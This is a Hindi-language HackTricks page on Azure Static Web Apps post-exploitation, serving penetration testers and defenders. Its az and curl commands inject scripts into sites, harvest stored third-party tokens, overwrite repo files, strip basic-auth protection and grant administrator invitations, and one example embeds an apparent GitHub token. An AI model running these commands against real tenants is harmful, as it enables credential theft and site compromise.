Az - Static Web Apps Post Exploitation

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Azure Static Web Apps

इस सेवा के बारे में अधिक जानकारी के लिए देखें:

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

एक स्निप्पेट बनाकर एक स्थिर वेब पृष्ठ को मनमाने HTML कोड को लोड करना संभव है। इससे एक हमलावर को वेब ऐप के अंदर JS कोड इंजेक्ट करने और संवेदनशील जानकारी जैसे क्रेडेंशियल्स या म्नेमोनिक कुंजियों (वेब3 वॉलेट्स में) को चुराने की अनुमति मिल सकती है।

निम्नलिखित कमांड एक स्निप्पेट बनाएगी जो हमेशा वेब ऐप द्वारा लोड की जाएगी::

bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

कॉन्फ़िगर की गई तीसरी पार्टी क्रेडेंशियल्स पढ़ें

जैसा कि ऐप सेवा अनुभाग में समझाया गया है:

Az - App Services Privesc

निम्नलिखित कमांड चलाकर तीसरी पार्टी क्रेडेंशियल्स पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर की गई हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर की गई हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे।

bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है।

यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं:

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

फ़ाइल ओवरराइट करें - रूट, HTML, JS ओवरराइट करें...

Azure के माध्यम से Github रेपो के अंदर एक फ़ाइल को ओवरराइट करना संभव है जिसमें ऐप है, Github टोकन के माध्यम से एक अनुरोध भेजकर जैसे कि निम्नलिखित जो फ़ाइल के ओवरराइट करने के लिए पथ, फ़ाइल की सामग्री और कमिट संदेश को इंगित करेगा।

इसका दुरुपयोग हमलावरों द्वारा किया जा सकता है ताकि वे मूल रूप से वेब ऐप की सामग्री को बदल सकें ताकि दुर्भावनापूर्ण सामग्री (क्रेडेंशियल्स, म्नेमोनिक कुंजी चुराना...) परोस सकें या बस कुछ पथों को अपने सर्वरों पर रीरूट करने के लिए staticwebapp.config.json फ़ाइल को ओवरराइट कर सकें।

warning

ध्यान दें कि यदि कोई हमलावर किसी भी तरह से Github रेपो को समझौता करने में सफल होता है, तो वे Github से सीधे फ़ाइल को भी ओवरराइट कर सकते हैं।

bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

इस अनुमति के साथ, यह पासवर्ड को संशोधित करना संभव है जो एक स्थिर वेब ऐप की सुरक्षा करता है या यहां तक कि हर वातावरण को अनसुरक्षित करना भी संभव है, जैसे कि निम्नलिखित अनुरोध भेजकर:

bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

यह अनुमति API कुंजी तैनाती टोकन प्राप्त करने की अनुमति देती है जो स्थिर ऐप के लिए है:

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

फिर, टोकन का उपयोग करके ऐप को अपडेट करने के लिए आप निम्नलिखित कमांड चला सकते हैं। ध्यान दें कि यह कमांड Github Action https://github.com/Azure/static-web-apps-deploy कैसे काम करता है यह जांचने के बाद निकाली गई है, क्योंकि यह Azure द्वारा डिफ़ॉल्ट रूप से उपयोग करने के लिए सेट की गई है। इसलिए भविष्य में चित्र और पैरामीटर बदल सकते हैं।

tip

ऐप को तैनात करने के लिए आप swa टूल का उपयोग कर सकते हैं https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token या निम्नलिखित कच्चे चरणों का पालन करें:

  1. रेपो डाउनलोड करें https://github.com/staticwebdev/react-basic (या कोई अन्य रेपो जिसे आप तैनात करना चाहते हैं) और cd react-basic चलाएँ।
  2. उस कोड को बदलें जिसे आप तैनात करना चाहते हैं
  3. इसे तैनात करें (याद रखें कि <api-token> बदलना है):
bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

warning

भले ही आपके पास टोकन हो, आप ऐप को तैनात नहीं कर पाएंगे यदि Deployment Authorization Policy Github पर सेट है। टोकन का उपयोग करने के लिए आपको तैनाती विधि को APi टोकन का उपयोग करने के लिए बदलने के लिए अनुमति Microsoft.Web/staticSites/write की आवश्यकता होगी।

Microsoft.Web/staticSites/write

इस अनुमति के साथ, यह संभव है कि स्टेटिक वेब ऐप के स्रोत को एक अलग Github रिपॉजिटरी में बदलें, हालाँकि, इसे स्वचालित रूप से प्रावधानित नहीं किया जाएगा क्योंकि यह एक Github Action से किया जाना चाहिए।

हालांकि, यदि Deployment Authorization Policy Github पर सेट है, तो यह संभव है कि नए स्रोत रिपॉजिटरी से ऐप को अपडेट करें!

यदि Deployment Authorization Policy Github पर सेट नहीं है, तो आप इसे उसी अनुमति Microsoft.Web/staticSites/write के साथ बदल सकते हैं।

bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

ऐप को डिप्लॉय करने के लिए उदाहरण Github Action:

yaml
name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

इस अनुमति के साथ स्टेटिक वेब ऐप के API कुंजी को रीसेट करना संभव है जो संभावित रूप से ऐप को स्वचालित रूप से तैनात करने वाले वर्कफ़्लो को DoS कर सकता है।

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

यह अनुमति एक उपयोगकर्ता के लिए निमंत्रण बनाने की अनुमति देती है ताकि वह एक विशिष्ट दिए गए भूमिका के साथ एक स्थिर वेब ऐप के अंदर संरक्षित पथों तक पहुँच सके।

लॉगिन एक पथ में स्थित है जैसे /.auth/login/github गिटहब के लिए या /.auth/login/aad Entra ID के लिए और एक उपयोगकर्ता को निम्नलिखित कमांड के साथ आमंत्रित किया जा सकता है:

bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

Pull Requests

डिफ़ॉल्ट रूप से, एक ही रेपो में एक शाखा से Pull Requests को स्वचालित रूप से संकलित और एक स्टेजिंग वातावरण में बनाया जाएगा। इसका दुरुपयोग एक हमलावर द्वारा किया जा सकता है जिसके पास रेपो पर लिखने की अनुमति है लेकिन उत्पादन शाखा (आमतौर पर main) की शाखा सुरक्षा को बायपास करने की क्षमता नहीं है ताकि ऐप का एक दुर्भावनापूर्ण संस्करण स्टेजिंग URL में तैनात किया जा सके।

स्टेजिंग URL का यह प्रारूप है: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> जैसे: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

tip

ध्यान दें कि डिफ़ॉल्ट रूप से बाहरी PRs वर्कफ़्लो नहीं चलाएंगे जब तक कि उन्होंने कम से कम 1 PR को रेपो में मर्ज नहीं किया हो। एक हमलावर रेपो में एक मान्य PR भेज सकता है और फिर एक दुर्भावनापूर्ण PR भेज सकता है ताकि स्टेजिंग वातावरण में दुर्भावनापूर्ण ऐप तैनात किया जा सके। हालाँकि, एक अप्रत्याशित सुरक्षा है, स्टैटिक वेब ऐप में तैनात करने के लिए डिफ़ॉल्ट Github Action को उस गुप्त कुंजी तक पहुँच की आवश्यकता होती है जिसमें तैनाती टोकन होता है (जैसे secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) भले ही तैनाती IDToken के साथ की गई हो। इसका मतलब है कि क्योंकि एक बाहरी PR इस गुप्त कुंजी तक पहुँच नहीं रखेगा और एक बाहरी PR बिना किसी PR के स्वीकार किए बिना यहाँ एक मनमाना टोकन रखने के लिए वर्कफ़्लो को नहीं बदल सकता, यह हमला वास्तव में काम नहीं करेगा

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें